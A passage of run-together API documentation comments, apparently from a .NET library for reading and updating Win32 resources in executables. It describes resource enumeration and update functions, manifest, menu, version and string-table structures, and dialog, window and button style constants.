is reserved for future use. The action to be taken when loading the module. Frees the loaded dynamic-link library (DLL) module and, if necessary, decrements its reference count. A handle to the loaded library module. If the function succeeds, the return value is nonzero. Predefined resource types. Hardware-dependent cursor resource. Bitmap resource. Hardware-dependent icon resource. Menu resource. Dialog box. String-table entry. Font directory resource. Font resource. Accelerator table. Application-defined resource (raw data). Message-table entry. Hardware-independent cursor resource. Hardware-independent icon resource. Version resource. Allows a resource editing tool to associate a string with an .rc file. Plug and Play resource. VXD. Animated cursor. Animated icon. HTML. Microsoft Windows XP: Side-by-Side Assembly XML Manifest. Enumerates resource types within a binary module. Handle to a module to search. Pointer to the callback function to be called for each enumerated resource type. Specifies an application-defined value passed to the callback function. Returns TRUE if successful; otherwise, FALSE. An application-defined callback function used with the EnumResourceTypes and EnumResourceTypesEx functions. The handle to the module whose executable file contains the resources for which the types are to be enumerated. Pointer to a null-terminated string specifying the type name of the resource for which the type is being enumerated. Specifies the application-defined parameter passed to the EnumResourceTypes or EnumResourceTypesEx function. Returns TRUE if successful; otherwise, FALSE. Enumerates resources of a specified type within a binary module. Handle to a module to search. Pointer to a null-terminated string specifying the type of the resource for which the name is being enumerated. Pointer to the callback function to be called for each enumerated resource name or ID. Specifies an application-defined value passed to the callback function. Returns TRUE if the function succeeds or FALSE if the function does not find a resource of the type specified, or if the function fails for another reason. An application-defined callback function used with the EnumResourceNames and EnumResourceNamesEx functions. The handle to the module whose executable file contains the resources that are being enumerated. Pointer to a null-terminated string specifying the type of resource that is being enumerated. Specifies the name of a resource of the type being enumerated. Specifies the application-defined parameter passed to the EnumResourceNames or EnumResourceNamesEx function. Returns TRUE if the function succeeds or FALSE if the function does not find a resource of the type specified, or if the function fails for another reason. Enumerates language-specific resources, of the specified type and name, associated with a binary module. The handle to a module to search. Pointer to a null-terminated string specifying the type of resource for which the language is being enumerated. Pointer to a null-terminated string specifying the name of the resource for which the language is being enumerated. Pointer to the callback function to be called for each enumerated resource language. Specifies an application-defined value passed to the callback function. Returns TRUE if successful or FALSE otherwise. An application-defined callback function used with the EnumResourceLanguages and EnumResourceLanguagesEx functions. The handle to the module whose executable file contains the resources for which the languages are being enumerated. Pointer to a null-terminated string specifying the type name of the resource for which the language is being enumerated. Pointer to a null-terminated string specifying the name of the resource for which the language is being enumerated. Specifies the language identifier for the resource for which the language is being enumerated. Specifies the application-defined parameter passed to the EnumResourceLanguages or EnumResourceLanguagesEx function. Returns TRUE if successful or FALSE otherwise. Determines the location of the resource with the specified type, name, and language in the specified module. Handle to the module whose executable file contains the resource. Pointer to a null-terminated string specifying the type name of the resource. Pointer to a null-terminated string specifying the name of the resource. Specifies the language of the resource. If the function succeeds, the return value is a handle to the specified resource's information block. Locks the specified resource in memory. Handle to the resource to be locked. If the loaded resource is locked, the return value is a pointer to the first byte of the resource; otherwise, it is NULL. Loads the specified resource into global memory. Handle to the module whose executable file contains the resource. Handle to the resource to be loaded. If the function succeeds, the return value is a handle to the data associated with the resource. Returns the size, in bytes, of the specified resource. Handle to the module whose executable file contains the resource. Handle to the resource. This handle must be created by using the FindResource or FindResourceEx function. If the function succeeds, the return value is the number of bytes in the resource. Closes an open object handle. A valid handle to an open object. If the function succeeds, the return value is nonzero. Returns a handle to either a language-neutral portable executable file (LN file) or a language-specific resource file (.mui file) that can be used by the UpdateResource function to add, delete, or replace resources in a binary module. Pointer to a null-terminated string that specifies the binary file in which to update resources. Specifies whether to delete the pFileName parameter's existing resources. If the function succeeds, the return value is a handle that can be used by the UpdateResource and EndUpdateResource functions. Adds, deletes, or replaces a resource in a portable executable (PE) file. There are some restrictions on resource updates in files that contain Resource Configuration (RC Config) data: language-neutral (LN) files and language-specific resource (.mui) files. A module handle returned by the BeginUpdateResource function, referencing the file to be updated. Pointer to a null-terminated string specifying the resource type to be updated. Pointer to a null-terminated string specifying the name of the resource to be updated. Specifies the language identifier of the resource to be updated. Pointer to the resource data to be inserted into the file indicated by hUpdate. Specifies the size, in bytes, of the resource data at lpData. Returns TRUE if successful or FALSE otherwise. Commits or discards changes made prior to a call to UpdateResource. A module handle returned by the BeginUpdateResource function, and used by UpdateResource, referencing the file to be updated. Specifies whether to write the resource updates to the file. If this parameter is TRUE, no changes are made. If it is FALSE, the changes are made: the resource updates will take effect. Returns TRUE if the function succeeds; FALSE otherwise. Neutral primary language ID. US-English primary language ID. Neutral sublanguage ID. US-English sublanguage ID. CREATEPROCESS_MANIFEST_RESOURCE_ID is used primarily for EXEs. If an executable has a resource of type RT_MANIFEST, ID CREATEPROCESS_MANIFEST_RESOURCE_ID, Windows will create a process default activation context for the process. The process default activation context will be used by all components running in the process. CREATEPROCESS_MANIFEST_RESOURCE_ID can also used by DLLs. When Windows probe for dependencies, if the dll has a resource of type RT_MANIFEST, ID CREATEPROCESS_MANIFEST_RESOURCE_ID, Windows will use that manifest as the dependency. ISOLATIONAWARE_MANIFEST_RESOURCE_ID is used primarily for DLLs. It should be used if the dll wants private dependencies other than the process default. For example, if an dll depends on comctl32.dll version 6.0.0.0. It should have a resource of type RT_MANIFEST, ID ISOLATIONAWARE_MANIFEST_RESOURCE_ID to depend on comctl32.dll version 6.0.0.0, so that even if the process executable wants comctl32.dll version 5.1, the dll itself will still use the right version of comctl32.dll. When ISOLATION_AWARE_ENABLED is defined, Windows re-defines certain APIs. For example LoadLibraryExW is redefined to IsolationAwareLoadLibraryExW. Resource manifest type. CREATEPROCESS_MANIFEST_RESOURCE_ID ISOLATIONAWARE_MANIFEST_RESOURCE_ID ISOLATIONAWARE_NOSTATICIMPORT_MANIFEST_RESOURCE_ID Copies the contents of a source memory block to a destination memory block, and supports overlapping source and destination memory blocks. A pointer to the starting address of the copied block's destination. A pointer to the starting address of the block of memory to copy. The size of the block of memory to copy, in bytes. A resource load exception. The Win32 exception from a resource enumeration function. A new resource load exception. Error message. The inner exception thrown within a single resource. The outer exception from the Win32 API. A combined message of the inner and outer exception. An embedded SxS manifest. Embedded XML manifest. Manifest type. An existing embedded manifest resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A new executable CreateProcess manifest. A new executable manifest. Manifest type. Read the resource. Module handle. Pointer to the beginning of a resource. Pointer to the end of the resource. Write the resource to a binary stream. Binary stream. Load a manifest resource from an executable file. Name of an executable file (.exe or .dll). Manifest resource type. Extended menu template. Menu items. Read the menu template. Address in memory. Write the menu template. Binary stream. String representation of the menu in the MENUEX format. String representation of the menu. A base menu template item. Menu item header. Menu string. Menu text. Read the menu item. Address in memory. End of the menu item structure. Write the menu item to a binary stream. Binary stream. String representation in the MENU format. Indent. String representation. String representation in the MENU format. String representation. A collection of menu items. A collection of extended menu items. Read the menu item collection. Address in memory. End of the menu item structure. Write the menu collection to a binary stream. Binary stream. String representation in the MENU format. String representation. String representation in the MENU format. Indent. String representation. A command menu item. A command menu item. Returns true if the item is a separator. String representation in the MENU format. Indent. String representation. An extended popup menu item. Sub menu items. An extended popup menu item. Read an extended popup menu item. Address in memory. End of the menu item structure. Write the menu item to a binary stream. Binary stream. String representation in the MENUEX format. String representation. A generic resource. Menu template. A structured menu resource. A structured menu resource embedded in an executable module. Module handle. Resource handle. Type of resource. Resource name. Language id. Resource size. Read a menu resource. Module handle. Pointer to the beginning of a resource. Pointer to the end of the resource. Write the menu resource to a binary stream. Binary stream. String representation of the menu resource in the MENU format. String representation of the menu resource. Standard menu template. Menu items. Read the menu template. Address in memory. Write menu template to a binary stream. Binary stream. String representation of the menu in the MENU format. String representation of the menu. A menu template header. Read the menu template header. Address in memory. Write the menu to a binary stream. Binary stream. A base menu template item. Menu item header. Menu string. Menu text. Read the menu item. Address in memory. End of the menu item structure. String representation in the MENU format. Indent. String representation. String representation in the MENU format. String representation. A collection of menu items. A collection of menu items. Read the menu item collection. Address in memory. End of the menu item structure. Write the menu collection to a binary stream. Binary stream. String representation in the MENU format. String representation. String representation in the MENU format. Indent. String representation. A command menu item. Command menu id. A command menu item. Read a command menu item. Address in memory. End of the menu item structure. Write menu item to a binary stream. Binary stream. Returns true if the item is a separator. String representation in the MENU format. Indent. String representation. A popup menu item. Sub menu items. A popup menu item. Read a popup menu item. Address in memory. End of the menu item structure. Write menu item to a binary stream. Binary stream. String representation in the MENU format. String representation. A version resource. Resource type. Resource name. Resource language. Loaded binary nodule. Pointer to the resource. Resource size. Version resource size in bytes. Language ID. Resource type. String representation of the resource type. Resource name. A new resource. A structured resource embedded in an executable module. Module handle. Resource handle. Resource type. Resource name. Language ID. Resource size. Lock and read the resource. Module handle. Resource handle. Load a resource from an executable (.exe or .dll) file. An executable (.exe or .dll) file. Load a resource from an executable (.exe or .dll) file. An executable (.exe or .dll) file. Resource name. Resource type. Resource language. Load a resource from an executable (.exe or .dll) module. An executable (.exe or .dll) module. Resource type. Resource name. Resource language. Read a resource from a previously loaded module. Module handle. Pointer to the beginning of the resource. Pointer to the end of the resource. Write the resource to a memory stream. Binary stream. Return resource data. Resource data. Save a resource. Name of an executable file (.exe or .dll). Save a resource to an executable (.exe or .dll) file. Path to an executable file. Resource name. Resource type. Language id. Delete a resource from an executable (.exe or .dll) file. Path to an executable file. Delete a resource from an executable (.exe or .dll) file. Path to an executable file. Resource name. Resource type. Resource language. Save a resource to an executable (.exe or .dll) file. Path to an executable file. Resource name. Resource type. Resource language. Resource data. Save a batch of resources to a given file. Path to an executable file. The resources to write. A resource Id. There're two types of resource Ids, reserved integer numbers (eg. RT_ICON) and custom string names (eg. "CUSTOM"). A resource identifier. A integer or string resource id. A resource identifier. A integer resource id. A well-known resource-type identifier. A well known resource type. A custom resource identifier. Resource Id. If the resource Id is a string, it will be copied. String representation of a resource type name. An enumerated resource type for built-in resource types only. Returns true if the resource is an integer resource. Returns true if the resource is an integer resource. Resource pointer. Resource Id in a string format. String representation of the resource Id. Resource name. Resource Id hash code. Resource Ids of the same type have the same hash code. Resource Id. Compares two resource Ids by value. Resource Id. True if both resource Ids represent the same resource. Resource info manager. A dictionary of resources, the key is the resource type, eg. "REGISTRY" or "16" (version). A shortcut for available resource types. A new resource info. Unload the previously loaded module. Load an executable or a DLL and read its resources. Source filename. Enumerate resource types. Module handle. Resource type. Additional parameter. TRUE if successful. Enumerate resource names within a resource by type Module handle. Resource type. Resource name. Additional parameter. TRUE if successful. Create a resource of a given type. Module handle. Pointer to the resource in memory. Resource type. Resource name. Language ID. Size of resource. A specialized or a generic resource. Enumerate resource languages within a resource by name Module handle. Resource type. Resource name. Language ID. Additional parameter. TRUE if successful. Save resource to a file. Target filename. Dispose resource info object. A collection of resources. Resource type. A collection of resources of a given type. A collection of resources. Resource type. A collection of resources of a given type. Enumerates all resources within this resource info collection. Resources enumerator. Enumerates all resources within this resource info collection. Resources enumerator. A resource table header. Resource table header. Resource table key. Resource table key. Resource header. A new resource table header. An resource table header with a specific key. resource key An existing resource table. Pointer to resource table data. Read the resource header, return a pointer to the end of it. Top of header. End of header, after the key, aligned at a 32 bit boundary. Write the resource table. Binary stream. String representation. String representation. String representation. Indent. String representation. Resource utilities. Align an address to a 4-byte boundary. Address in memory. 4-byte aligned pointer. Align a pointer to a 4-byte boundary. Pointer to an address in memory. 4-byte aligned pointer. Pad data to a WORD. Binary stream. New position within the binary stream. Pad data to a DWORD. Binary stream. New position within the binary stream. Returns the high WORD from a DWORD value. WORD value. High WORD. Returns the high WORD from a DWORD value. WORD value. High WORD. Write a value at a given position. Used to write a size of data in an earlier located header. Binary stream. Value to write. Address to write the value at. Pad bytes. Binary stream. Number of bytes to write. New position within the stream. Neutral language ID. US-English language ID. Make a language ID from a primary language ID (low-order 10 bits) and a sublanguage (high-order 6 bits). Primary language ID. Sublanguage ID. Microsoft language ID. Return the primary language ID from a Microsoft language ID. Microsoft language ID primary language ID (low-order 10 bits) Return the sublanguage ID from a Microsoft language ID. Microsoft language ID. Sublanguage ID (high-order 6 bits). Returns the memory representation of an object. Object type. Data. Object's representation in memory. Get a collection of flags from a flag value. Flag collection type. Flag value. Collection of flags. Get a string representation of flags. Flag collection type. Flag vlaue String representation of flags in the f1 | ... | fn format. This structure depicts the organization of data in a file-version resource. It contains version information that can be displayed for a particular language and code page. http://msdn.microsoft.com/en-us/library/aa908808.aspx Resource strings. A new string file-version resource. An existing string file-version resource. Pointer to the beginning of a string file-version resource. Read an existing string file-version resource. Pointer to the beginning of a string file-version resource. Pointer to the end of the string file-version resource. Write the string file-version resource to a binary stream. Binary stream. Default (first) string table. Indexed string table. Key. A string table at a given index. String representation of StringFileInfo. Indent. String in the StringFileInfo format. A string, RT_STRING resource. Each string resource block has 16 strings, each represented as an ordered pair (length, text). Length is a WORD that specifies the size, in terms of the number of characters, in the text that follows. Text follows length and contains the string in Unicode without the NULL terminating character. There may be no characters in text, in which case length is zero. String collection in this resource. Returns a string of a given Id. String Id. A string of a given Id. A new string resource. A new string resource of a given block id. Block id. A new string resource of a given block id. Block id. An existing string resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A string with ID, stringId, is located in the block with ID given by the following formula. http://support.microsoft.com/kb/q196774/ String table block id. Read the strings. Handle to a module. Pointer to the beginning of the string table. Address of the end of the string table. String representation of the strings resource. This structure depicts the organization of data in a file-version resource. It contains language and code page formatting information for the strings. A code page is an ordered character set. See http://msdn.microsoft.com/en-us/library/aa909192.aspx for more information. Resource strings. A new string table. A new string table. String table key. An existing string table. Pointer to the beginning of the table. Read a string table. Pointer to the beginning of the string table. Pointer to the end of the string table. Write the string table to a binary stream. Binary stream. Last unpadded position. The four most significant digits of the key represent the language identifier. Each Microsoft Standard Language identifier contains two parts: the low-order 10 bits specify the major language, and the high-order 6 bits specify the sublanguage. The four least significant digits of the key represent the code page for which the data is formatted. Returns an entry within the string table. Key. An entry within the string table. String representation of the string table. Indent. String representation of the strings table. This structure depicts the organization of data in a file-version resource. It contains a string that describes a specific aspect of a file, such as a file's version, its copyright notices, or its trademarks. http://msdn.microsoft.com/en-us/library/aa909025.aspx The value is always stored double-null-terminated. When set to true the length in the header will also contain the padding bytes when writing to a stream. The MSDN reference (http://www.webcitation.org/6zBLYbvww) does not clarify which variant is 'right'. String resource header. Key. String value (removing the double-null-terminator). Value. A new string resource. Key. An existing string resource. Pointer to the beginning of a string resource. Read a string resource. Pointer to the beginning of a string resource. Write a string resource to a binary stream. Binary stream. User32.dll functions. Contains information about an icon or a cursor. Specifies whether this structure defines an icon or a cursor. A value of TRUE specifies an icon; FALSE specifies a cursor. Specifies the x-coordinate of a cursor's hot spot. If this structure defines an icon, the hot spot is always in the center of the icon, and this member is ignored. Specifies the y-coordinate of the cursor's hot spot. If this structure defines an icon, the hot spot is always in the center of the icon, and this member is ignored. Specifies the icon bitmask bitmap. Handle to the icon color bitmap. Retrieve a handle to a device context (DC) for the client area of a specified window or for the entire screen. A handle to the window whose DC is to be retrieved. If this value is NULL, GetDC retrieves the DC for the entire screen. If the function succeeds, the return value is a handle to the DC for the specified window's client area. If the function fails, the return value is NULL. Releases a device context (DC), freeing it for use by other applications. A handle to the window whose DC is to be released. A handle to the DC to be released. The return value indicates whether the DC was released. If the DC was released, the return value is 1. If the DC was not released, the return value is zero. The DIALOGTEMPLATE structure defines the dimensions and style of a dialog box. This structure, always the first in a standard template for a dialog box, also specifies the number of controls in the dialog box and therefore specifies the number of subsequent DIALOGITEMTEMPLATE structures in the template. Specifies the style of the dialog box. Extended styles for a window. Specifies the number of items in the dialog box. Specifies the x-coordinate, in dialog box units, of the upper-left corner of the dialog box. Specifies the y-coordinate, in dialog box units, of the upper-left corner of the dialog box. Specifies the width, in dialog box units, of the dialog box. Specifies the height, in dialog box units, of the dialog box. The DIALOGITEMTEMPLATE structure defines the dimensions and style of a control in a dialog box. Specifies the style of the control. Extended styles for a window. Specifies the x-coordinate, in dialog box units, of the upper-left corner of the control. Specifies the y-coordinate, in dialog box units, of the upper-left corner of the control. Specifies the width, in dialog box units, of the control. Specifies the height, in dialog box units, of the control. Specifies the control identifier. An extended dialog box template begins with a DIALOGEXTEMPLATE header that describes the dialog box and specifies the number of controls in the dialog box. For each control in a dialog box, an extended dialog box template has a block of data that uses the DIALOGEXITEMTEMPLATE format to describe the control. Specifies the version number of the extended dialog box template. This member must be 1. Indicates whether a template is an extended dialog box template. Specifies the help context identifier for the dialog box window. When the system sends a WM_HELP message, it passes this value in the wContextId member of the HELPINFO structure. Specifies extended windows styles. Specifies the style of the dialog box. Specifies the number of controls in the dialog box. Specifies the x-coordinate, in dialog box units, of the upper-left corner of the dialog box. Specifies the y-coordinate, in dialog box units, of the upper-left corner of the dialog box. Specifies the width, in dialog box units, of the dialog box. Specifies the height, in dialog box units, of the dialog box. A control entry in an extended dialog template. Specifies the help context identifier for the dialog box window. When the system sends a WM_HELP message, it passes this value in the wContextId member of the HELPINFO structure. Specifies extended windows styles. Specifies the style of the dialog box. Specifies the x-coordinate, in dialog box units, of the upper-left corner of the dialog box. Specifies the y-coordinate, in dialog box units, of the upper-left corner of the dialog box. Specifies the width, in dialog box units, of the dialog box. Specifies the height, in dialog box units, of the dialog box. Specifies the control identifier. Window styles. http://msdn.microsoft.com/en-us/library/ms632600(VS.85).aspx Creates an overlapped window. An overlapped window has a title bar and a border. Same as the WS_TILED style. Creates a pop-up window. This style cannot be used with the WS_CHILD style. Creates a child window. A window with this style cannot have a menu bar. This style cannot be used with the WS_POPUP style. Creates a window that is initially minimized. Same as the WS_ICONIC style. Creates a window that is initially visible. Creates a window that is initially disabled. A disabled window cannot receive input from the user. Clips child windows relative to each other; that is, when a particular child window receives a WM_PAINT message, the WS_CLIPSIBLINGS style clips all other overlapping child windows out of the region of the child window to be updated. If WS_CLIPSIBLINGS is not specified and child windows overlap, it is possible, when drawing within the client area of a child window, to draw within the client area of a neighboring child window. Excludes the area occupied by child windows when drawing occurs within the parent window. This style is used when creating the parent window. Creates a window that is initially maximized. Creates a window that has a title bar (includes the WS_BORDER style). Creates a window that has a thin-line border. Creates a window that has a border of a style typically used with dialog boxes. A window with this style cannot have a title bar. Creates a window that has a vertical scroll bar. Creates a window that has a horizontal scroll bar. Creates a window that has a window menu on its title bar. The WS_CAPTION style must also be specified. Creates a window that has a sizing border. Same as the WS_SIZEBOX style. Specifies the first control of a group of controls. The group consists of this first control and all controls defined after it, up to the next control with the WS_GROUP style. The first control in each group usually has the WS_TABSTOP style so that the user can move from group to group. The user can subsequently change the keyboard focus from one control in the group to the next control in the group by using the direction keys. Specifies a control that can receive the keyboard focus when the user presses the TAB key. Pressing the TAB key changes the keyboard focus to the next control with the WS_TABSTOP style. Dialog styles. http://msdn.microsoft.com/en-us/library/ms644994(VS.85).aspx Specifying this style in the dialog template tells Windows that the dtX and dtY values of the DIALOGTEMPLATE struct are relative to the screen origin, not the owner of the dialog box. Create a dialog box with the WS_EX_TOPMOST flag. This flag cannot be combined with the DS_CONTROL style. This flag is obsolete and is included for compatibility with 16-bit versions of Windows. Applies to 16-bit applications only. This style directs edit controls in the dialog box to allocate memory from the application data segment. Otherwise, edit controls allocate storage from a global memory object. Indicates that the header of the dialog box template contains additional data specifying the font to use for text in the client area and controls of the dialog box. Creates a dialog box with a modal dialog-box frame that can be combined with a title bar and window menu by specifying the WS_CAPTION and WS_SYSMENU styles. Suppresses WM_ENTERIDLE messages that the system would otherwise send to the owner of the dialog box while the dialog box is displayed. Causes the system to use the SetForegroundWindow function to bring the dialog box to the foreground. Gives the dialog box a nonbold font and draws three-dimensional borders around control windows in the dialog box. Causes the dialog box to use the SYSTEM_FIXED_FONT instead of the default SYSTEM_FONT. This is a monospace font compatible with the System font in 16-bit versions of Windows earlier than 3.0. Creates the dialog box even if errors occur — for example, if a child window cannot be created or if the system cannot create a special data segment for an edit control. Creates a dialog box that works well as a child window of another dialog box, much like a page in a property sheet. This style allows the user to tab among the control windows of a child dialog box, use its accelerator keys, and so on. Centers the dialog box in the working area; that is, the area not obscured by the tray. Centers the dialog box on the mouse cursor. Includes a question mark in the title bar of the dialog box. When the user clicks the question mark, the cursor changes to a question mark with a pointer. If the user then clicks a control in the dialog box, the control receives a WM_HELP message. The control should pass the message to the dialog box procedure, which should call the function using the HELP_WM_HELP command. The help application displays a pop-up window that typically contains help for the control. Indicates that the dialog box should use the system font. Extended dialog styles. Creates a window that has a double border; the window can, optionally, be created with a title bar by specifying the WS_CAPTION style in the dwStyle parameter. Specifies that a child window created with this style does not send the WM_PARENTNOTIFY message to its parent window when it is created or destroyed. Specifies that a window created with this style should be placed above all non-topmost windows and should stay above them, even when the window is deactivated. To add or remove this style, use the SetWindowPos function. Specifies that a window created with this style accepts drag-drop files. Specifies that a window created with this style should not be painted until siblings beneath the window (that were created by the same thread) have been painted. The window appears transparent because the bits of underlying sibling windows have already been painted. Creates a multiple-document interface (MDI) child window. Creates a tool window; that is, a window intended to be used as a floating toolbar. A tool window has a title bar that is shorter than a normal title bar, and the window title is drawn using a smaller font. A tool window does not appear in the taskbar or in the dialog that appears when the user presses ALT+TAB. If a tool window has a system menu, its icon is not displayed on the title bar. However, you can display the system menu by right-clicking or by typing ALT+SPACE. Specifies that a window has a border with a raised edge. Specifies that a window has a border with a sunken edge. Includes a question mark in the title bar of the window. When the user clicks the question mark, the cursor changes to a question mark with a pointer. If the user then clicks a child window, the child receives a WM_HELP message. The child window should pass the message to the parent window procedure, which should call the WinHelp function using the HELP_WM_HELP command. The Help application displays a pop-up window that typically contains help for the child window. The window has generic "right-aligned" properties. This depends on the window class. This style has an effect only if the shell language is Hebrew, Arabic, or another language that supports reading-order alignment; otherwise, the style is ignored. Using the WS_EX_RIGHT style for static or edit controls has the same effect as using the SS_RIGHT or ES_RIGHT style, respectively. Using this style with button controls has the same effect as using BS_RIGHT and BS_RIGHTBUTTON styles. Creates a window that has generic left-aligned properties. This is the default. If the shell language is Hebrew, Arabic, or another language that supports reading-order alignment, the window text is displayed using right-to-left reading-order properties. For other languages, the style is ignored. The window text is displayed using left-to-right reading-order properties. This is the default. If the shell language is Hebrew, Arabic, or another language that supports reading order alignment, the vertical scroll bar (if present) is to the left of the client area. For other languages, the style is ignored. Vertical scroll bar (if present) is to the right of the client area. This is the default. The window itself contains child windows that should take part in dialog box navigation. If this style is specified, the dialog manager recurses into children of this window when performing navigation operations such as handling the TAB key, an arrow key, or a keyboard mnemonic. Creates a window with a three-dimensional border style intended to be used for items that do not accept user input. Forces a top-level window onto the taskbar when the window is visible. Combines the WS_EX_CLIENTEDGE and WS_EX_WINDOWEDGE styles. Combines the WS_EX_WINDOWEDGE, WS_EX_TOOLWINDOW, and WS_EX_TOPMOST styles. Windows 2000/XP: Creates a layered window. Note that this cannot be used for child windows. Also, this cannot be used if the window has a class style of either CS_OWNDC or CS_CLASSDC. Windows 2000/XP: A window created with this style does not pass its window layout to its child windows. Arabic and Hebrew versions of Windows 98/Me, Windows 2000/XP: Creates a window whose horizontal origin is on the right edge. Increasing horizontal values advance to the left. Windows XP: Paints all descendants of a window in bottom-to-top painting order using double-buffering. For more information, see Remarks. This cannot be used if the window has a class style of either CS_OWNDC or CS_CLASSDC. Windows 2000/XP: A top-level window created with this style does not become the foreground window when the user clicks it. The system does not bring this window to the foreground when the user minimizes or closes the foreground window. Possible DIALOGEXITEMTEMPLATE WindowClass ordinals. A button. An edit box. A static control. A list box. A scroll bar. A combo box. Static control styles. A static control specifies the STATIC class, appropriate window style constants, and a combination of the following static control styles. http://msdn.microsoft.com/en-us/library/bb760773(VS.85).aspx Specifies a simple rectangle and left-aligns the text in the rectangle. The text is formatted before it is displayed. Words that extend past the end of a line are automatically wrapped to the beginning of the next left-aligned line. Words that are longer than the width of the control are truncated. Specifies a simple rectangle and centers the text in the rectangle. The text is formatted before it is displayed. Words that extend past the end of a line are automatically wrapped to the beginning of the next centered line. Words that are longer than the width of the control are truncated. Specifies a simple rectangle and right-aligns the text in the rectangle. The text is formatted before it is displayed. Words that extend past the end of a line are automatically wrapped to the beginning of the next right-aligned line. Words that are longer than the width of the control are truncated. Specifies an icon to be displayed in the dialog box. If the control is created as part of a dialog box, the text is the name of an icon (not a filename) defined elsewhere in the resource file. If the control is created via CreateWindow or a related function, the text is the name of an icon (not a filename) defined in the resource file associated with the module specified by the hInstance parameter to CreateWindow. The icon can be an animated cursor. Specifies a rectangle filled with the current window frame color. This color is black in the default color scheme. Specifies a rectangle filled with the current screen background color. This color is gray in the default color scheme. Specifies a rectangle filled with the current window background color. This color is white in the default color scheme. Specifies a box with a frame drawn in the same color as the window frames. This color is black in the default color scheme. Specifies a box with a frame drawn with the same color as the screen background (desktop). This color is gray in the default color scheme. Specifies a box with a frame drawn with the same color as the window background. This color is white in the default color scheme. Specifies a simple rectangle and displays a single line of left-aligned text in the rectangle. The text line cannot be shortened or altered in any way. Also, if the control is disabled, the control does not gray its text. Specifies a simple rectangle and left-aligns the text in the rectangle. Tabs are expanded, but words are not wrapped. Text that extends past the end of a line is clipped. Specifies that the owner of the static control is responsible for drawing the control. The owner window receives a WM_DRAWITEM message whenever the control needs to be drawn. Specifies that a bitmap is to be displayed in the static control. The text is the name of a bitmap (not a filename) defined elsewhere in the resource file. The style ignores the nWidth and nHeight parameters; the control automatically sizes itself to accommodate the bitmap. Specifies that an enhanced metafile is to be displayed in the static control. The text is the name of a metafile. An enhanced metafile static control has a fixed size; the metafile is scaled to fit the static control's client area. Draws the top and bottom edges of the static control using the EDGE_ETCHED edge style. Draws the left and right edges of the static control using the EDGE_ETCHED edge style. Draws the frame of the static control using the EDGE_ETCHED edge style. Windows 2000: A composite style bit that results from using the OR operator on SS_* style bits. Can be used to mask out valid SS_* bits from a given bitmask. Note that this is out of date and does not correctly include all valid styles. Thus, you should not use this style. Windows XP or later: Adjusts the bitmap to fit the size of the static control. For example, changing the locale can change the system font, and thus controls might be resized. If a static control had a bitmap, the bitmap would no longer fit the control. This style bit dictates automatic redimensioning of bitmaps to fit their controls. Prevents interpretation of any ampersand characters in the control's text as accelerator prefix characters. These are displayed with the ampersand removed and the next character in the string underlined. This static control style may be included with any of the defined static controls. You can combine SS_NOPREFIX with other styles. This can be useful when filenames or other strings that may contain an ampersand must be displayed in a static control in a dialog box. Sends the parent window STN_CLICKED, STN_DBLCLK, STN_DISABLE, and STN_ENABLE notification messages when the user clicks or double-clicks the control. Specifies that a bitmap is centered in the static control that contains it. The control is not resized, so that a bitmap too large for the control will be clipped. If the static control contains a single line of text, the text is centered vertically in the client area of the control. Specifies that the lower right corner of a static control with the SS_BITMAP or SS_ICON style is to remain fixed when the control is resized. Only the top and left sides are adjusted to accommodate a new bitmap or icon. Specifies that the actual resource width is used and the icon is loaded using LoadImage. SS_REALSIZEIMAGE is always used in conjunction with SS_ICON. Draws a half-sunken border around a static control. Microsoft Windows 2000: Specifies that the static control duplicates the text-displaying characteristics of a multiline edit control. Specifically, the average character width is calculated in the same manner as with an edit control, and the function does not display a partially visible last line. Microsoft Windows NT or later: If the end of a string does not fit in the rectangle, it is truncated and ellipses are added. If a word that is not at the end of the string goes beyond the limits of the rectangle, it is truncated without ellipses. Using this style will force the control’s text to be on one line with no word wrap. Compare with SS_PATHELLIPSIS and SS_WORDELLIPSIS. Windows NT or later: Replaces characters in the middle of the string with ellipses so that the result fits in the specified rectangle. If the string contains backslash (\) characters, SS_PATHELLIPSIS preserves as much as possible of the text after the last backslash. Using this style will force the control’s text to be on one line with no word wrap. Compare with SS_ENDELLIPSIS and SS_WORDELLIPSIS. Windows NT or later: Truncates any word that does not fit in the rectangle and adds ellipses. Using this style will force the control’s text to be on one line with no word wrap. Push button styles. http://msdn.microsoft.com/en-us/library/bb775951(VS.85).aspx Creates a push button that posts a WM_COMMAND message to the owner window when the user selects the button. Creates a push button that behaves like a BS_PUSHBUTTON style button, but has a distinct appearance. If the button is in a dialog box, the user can select the button by pressing the ENTER key, even when the button does not have the input focus. This style is useful for enabling the user to quickly select the most likely (default) option. Creates a small, empty check box with text. By default, the text is displayed to the right of the check box. To display the text to the left of the check box, combine this flag with the BS_LEFTTEXT style (or with the equivalent BS_RIGHTBUTTON style). Creates a button that is the same as a check box, except that the check state automatically toggles between checked and cleared each time the user selects the check box. Creates a small circle with text. By default, the text is displayed to the right of the circle. To display the text to the left of the circle, combine this flag with the BS_LEFTTEXT style (or with the equivalent BS_RIGHTBUTTON style). Use radio buttons for groups of related, but mutually exclusive choices. Creates a button that is the same as a check box, except that the box can be grayed as well as checked or cleared. Use the grayed state to show that the state of the check box is not determined. Creates a button that is the same as a three-state check box, except that the box changes its state when the user selects it. The state cycles through checked, indeterminate, and cleared. Creates a rectangle in which other controls can be grouped. Any text associated with this style is displayed in the rectangle's upper left corner. Obsolete, but provided for compatibility with 16-bit versions of Windows. Applications should use BS_OWNERDRAW instead. Creates a button that is the same as a radio button, except that when the user selects it, the system automatically sets the button's check state to checked and automatically sets the check state for all other buttons in the same group to cleared. Creates an owner-drawn button. The owner window receives a WM_DRAWITEM message when a visual aspect of the button has changed. Do not combine the BS_OWNERDRAW style with any other button styles. Microsoft Windows 2000: A composite style bit that results from using the OR operator on BS_* style bits. It can be used to mask out valid BS_* bits from a given bitmask. Places text on the left side of the radio button or check box when combined with a radio button or check box style. Same as the BS_RIGHTBUTTON style. Specifies that the button displays text. Specifies that the button displays an icon. Specifies that the button displays a bitmap. See the Remarks section for its interaction with BS_ICON. Left-justifies the text in the button rectangle. However, if the button is a check box or radio button that does not have the BS_RIGHTBUTTON style, the text is left justified on the right side of the check box or radio button. Right-justifies text in the button rectangle. However, if the button is a check box or radio button that does not have the BS_RIGHTBUTTON style, the text is right justified on the right side of the check box or radio button. Centers text horizontally in the button rectangle. Places text at the top of the button rectangle. Places text at the bottom of the button rectangle. Places text in the middle (vertically) of the button rectangle. Makes a button (such as a check box, three-state check box, or radio button) look and act like a push button. The button looks raised when it isn't pushed or checked, and sunken when it is pushed or checked. Wraps the 